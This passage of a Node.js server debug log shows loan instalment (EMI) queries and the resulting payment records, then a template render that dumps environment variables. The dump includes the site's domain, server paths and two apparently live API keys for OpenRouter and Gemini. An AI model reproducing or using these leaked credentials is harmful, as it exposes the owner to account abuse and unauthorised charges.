    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-03-13T06:46:01.714Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-13T06:46:01.721Z server-connect:app Executing action step identify
2026-03-13T06:46:01.721Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:01.721Z server-connect:output identity: 1
2026-03-13T06:46:01.722Z server-connect:app Executing action step restrict
2026-03-13T06:46:01.722Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:46:01.723Z server-connect:output restrict: undefined
2026-03-13T06:46:01.723Z server-connect:app Executing action step select
2026-03-13T06:46:01.723Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-13T06:46:01.725Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-03-13T06:46:07.632Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-13T06:46:07.632Z server-connect:app Executing action step identify
2026-03-13T06:46:07.633Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:07.633Z server-connect:output identity: 1
2026-03-13T06:46:07.633Z server-connect:app Executing action step restrict
2026-03-13T06:46:07.633Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:46:07.633Z server-connect:output restrict: undefined
2026-03-13T06:46:07.633Z server-connect:app Executing action step select
2026-03-13T06:46:07.634Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-13T06:46:07.635Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-03-13T06:46:11.041Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-13T06:46:11.042Z server-connect:app Executing action step identify
2026-03-13T06:46:11.042Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:11.042Z server-connect:output identity: 1
2026-03-13T06:46:11.042Z server-connect:app Executing action step restrict
2026-03-13T06:46:11.042Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:46:11.042Z server-connect:output restrict: undefined
2026-03-13T06:46:11.042Z server-connect:app Executing action step select
2026-03-13T06:46:11.042Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-13T06:46:11.043Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-03-13T06:46:20.890Z server-connect:router Serving templateView /credit-cards
2026-03-13T06:46:20.890Z server-connect:app Executing action step identify
2026-03-13T06:46:20.890Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:20.890Z server-connect:output identity: 1
2026-03-13T06:46:20.890Z server-connect:app Executing action step restrict
2026-03-13T06:46:20.890Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:46:20.891Z server-connect:output restrict: undefined
2026-03-13T06:46:20.891Z server-connect:router Render template credit-cards
2026-03-13T06:46:20.891Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
